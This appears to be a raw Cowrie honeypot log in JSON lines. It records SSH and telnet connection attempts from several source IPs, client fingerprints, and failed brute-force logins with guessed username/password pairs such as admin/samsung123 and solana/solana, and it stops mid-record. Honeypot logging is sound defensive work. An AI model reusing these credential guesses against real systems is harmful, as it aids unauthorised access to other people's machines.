{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:1c:ef:84:f4:4a:c8:f2:b9:67:63:b8:04:67:be:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAzmqY49fPD7pxen14Fm0o5V8UXzBFZvxM+eVYnW2M/f3tIRqY6KjL1ciqm6RPm25dWntHFKNsyUZU5m7GbgUdxN4HgoM2Ow03mUXO2EenT30ab1K4G8sWV6A3htzsvee6AU+UzOM5UtDe25/BGdcEHf3PSKjXvkmRaGJ1v5cr9RDneINC3NtPPSvRkDEfUI8DnUAwKLBFOws/I35mhqcsiHDsOaF1CcrgmqzQ8mVZsU734X46h5cvU5HiRhYSWuW9xPGB59UE9b9t5Bbbw2sDNYLz8p+1iM13HEHzZw44jOZsUnRoVC4O+cSUrGyfZFzbU1efa/Yc1LziKg4f92WE+I+EgnkdU+iaJ7O0xygBvzVSlcEALXHbmIeaAKGyoc7Ia4MGFS5I8Dg+8FqGED9IlPQJ4o1TeXOWLSj9pcUtMehQO+yCwBDDpy5LMH4cBo5N3vOupCQ1DEqIGui5UoS419PJoCdRauMrC00msFyU12PxMhxxpmQOuMZ9zMXE0T4UCxcEuQeNSkd5PQ1ZvR8z3u6JePiUyiyjk8ItP8XIPBUrK+XWdN4r1AvumN2KD4cCqAclgHN9ofuwjdeS3O2eUNNiApfbfMjN1a/uGTmO42n+c7l4yPgrTKueq0tY9n90+k3eimx7C2RG5J+iYlEcvkOZt9m6+rpHER5fvbGQQts=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:1c:ef:84:f4:4a:c8:f2:b9:67:63:b8:04:67:be:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.995304Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:1c:ef:84:f4:4a:c8:f2:b9:67:63:b8:04:67:be:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAzmqY49fPD7pxen14Fm0o5V8UXzBFZvxM+eVYnW2M/f3tIRqY6KjL1ciqm6RPm25dWntHFKNsyUZU5m7GbgUdxN4HgoM2Ow03mUXO2EenT30ab1K4G8sWV6A3htzsvee6AU+UzOM5UtDe25/BGdcEHf3PSKjXvkmRaGJ1v5cr9RDneINC3NtPPSvRkDEfUI8DnUAwKLBFOws/I35mhqcsiHDsOaF1CcrgmqzQ8mVZsU734X46h5cvU5HiRhYSWuW9xPGB59UE9b9t5Bbbw2sDNYLz8p+1iM13HEHzZw44jOZsUnRoVC4O+cSUrGyfZFzbU1efa/Yc1LziKg4f92WE+I+EgnkdU+iaJ7O0xygBvzVSlcEALXHbmIeaAKGyoc7Ia4MGFS5I8Dg+8FqGED9IlPQJ4o1TeXOWLSj9pcUtMehQO+yCwBDDpy5LMH4cBo5N3vOupCQ1DEqIGui5UoS419PJoCdRauMrC00msFyU12PxMhxxpmQOuMZ9zMXE0T4UCxcEuQeNSkd5PQ1ZvR8z3u6JePiUyiyjk8ItP8XIPBUrK+XWdN4r1AvumN2KD4cCqAclgHN9ofuwjdeS3O2eUNNiApfbfMjN1a/uGTmO42n+c7l4yPgrTKueq0tY9n90+k3eimx7C2RG5J+iYlEcvkOZt9m6+rpHER5fvbGQQts=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:58.998887Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:03:59.155602Z","src_ip":"5.45.189.11","session":"c19e74425597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.73.86.197","src_port":44124,"dst_ip":"10.17.0.5","dst_port":23,"session":"f56ac25949f9","protocol":"telnet","message":"New connection: 165.73.86.197:44124 (10.17.0.5:23) [session: f56ac25949f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:04:03.281425Z"}
{"eventid":"cowrie.session.closed","duration":31.941627979278564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:04:29.683407Z","src_ip":"165.73.86.197","session":"6fa0b84029c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108054637908936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:04:34.389324Z","src_ip":"165.73.86.197","session":"f56ac25949f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58232,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea95ba0bb567","protocol":"ssh","message":"New connection: 80.94.92.186:58232 (10.17.0.5:22) [session: ea95ba0bb567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:05:58.386636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:05:58.445876Z","src_ip":"80.94.92.186","session":"ea95ba0bb567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:05:58.560596Z","src_ip":"80.94.92.186","session":"ea95ba0bb567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:05:59.545701Z","src_ip":"80.94.92.186","session":"ea95ba0bb567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:06:00.790968Z","src_ip":"80.94.92.186","session":"ea95ba0bb567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.6.67","src_port":49144,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3108fe605a0","protocol":"telnet","message":"New connection: 152.59.6.67:49144 (10.17.0.5:23) [session: c3108fe605a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:08:16.895144Z"}
{"eventid":"cowrie.session.closed","duration":14.32021188735962,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:08:31.215261Z","src_ip":"152.59.6.67","session":"c3108fe605a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40218,"dst_ip":"159.203.135.109","dst_port":22,"session":"e833de71ec3f","protocol":"ssh","message":"New connection: 2.57.121.112:40218 (159.203.135.109:22) [session: e833de71ec3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:06.734452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:06.740360Z","src_ip":"2.57.121.112","session":"e833de71ec3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:06.846422Z","src_ip":"2.57.121.112","session":"e833de71ec3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sandbox","message":"login attempt [admin/sandbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:07.342779Z","src_ip":"2.57.121.112","session":"e833de71ec3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"samsung123","message":"login attempt [admin/samsung123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:08.452225Z","src_ip":"2.57.121.112","session":"e833de71ec3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sams","message":"login attempt [admin/sams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:09.561439Z","src_ip":"2.57.121.112","session":"e833de71ec3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"salt55","message":"login attempt [admin/salt55] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:10.670376Z","src_ip":"2.57.121.112","session":"e833de71ec3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saints1","message":"login attempt [admin/saints1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:11.780116Z","src_ip":"2.57.121.112","session":"e833de71ec3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.74.162","src_port":53116,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a297b6395d5","protocol":"ssh","message":"New connection: 36.26.74.162:53116 (10.17.0.5:22) [session: 7a297b6395d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:12.845420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:12.850649Z","src_ip":"36.26.74.162","session":"7a297b6395d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:12.890118Z","src_ip":"2.57.121.112","session":"e833de71ec3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:13.295212Z","src_ip":"36.26.74.162","session":"7a297b6395d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver4","password":"gmodserver4","message":"login attempt [gmodserver4/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:14.223264Z","src_ip":"36.26.74.162","session":"7a297b6395d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:15.969853Z","src_ip":"36.26.74.162","session":"7a297b6395d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":53954,"dst_ip":"10.17.0.5","dst_port":22,"session":"de51f329df50","protocol":"ssh","message":"New connection: 103.228.69.212:53954 (10.17.0.5:22) [session: de51f329df50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:20.641227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:20.645188Z","src_ip":"103.228.69.212","session":"de51f329df50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:20.880908Z","src_ip":"103.228.69.212","session":"de51f329df50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server11","message":"login attempt [server/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:21.858879Z","src_ip":"103.228.69.212","session":"de51f329df50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60932,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b1aa277954","protocol":"ssh","message":"New connection: 80.94.92.186:60932 (10.17.0.5:22) [session: c6b1aa277954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:22.970454Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:23.098062Z","src_ip":"103.228.69.212","session":"de51f329df50","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:23.154747Z","src_ip":"80.94.92.186","session":"c6b1aa277954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:23.158974Z","src_ip":"80.94.92.186","session":"c6b1aa277954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:24.222843Z","src_ip":"80.94.92.186","session":"c6b1aa277954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:09:25.480486Z","src_ip":"80.94.92.186","session":"c6b1aa277954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":42612,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfd023b3e804","protocol":"ssh","message":"New connection: 103.228.69.212:42612 (10.17.0.5:22) [session: dfd023b3e804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:10:20.952391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:10:20.962235Z","src_ip":"103.228.69.212","session":"dfd023b3e804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:10:21.190195Z","src_ip":"103.228.69.212","session":"dfd023b3e804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pdq466z7","message":"login attempt [admin/pdq466z7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:10:22.140487Z","src_ip":"103.228.69.212","session":"dfd023b3e804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:10:23.371176Z","src_ip":"103.228.69.212","session":"dfd023b3e804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":59498,"dst_ip":"10.17.0.5","dst_port":22,"session":"378b86faf1a6","protocol":"ssh","message":"New connection: 103.228.69.212:59498 (10.17.0.5:22) [session: 378b86faf1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:11:20.910173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:11:20.915979Z","src_ip":"103.228.69.212","session":"378b86faf1a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa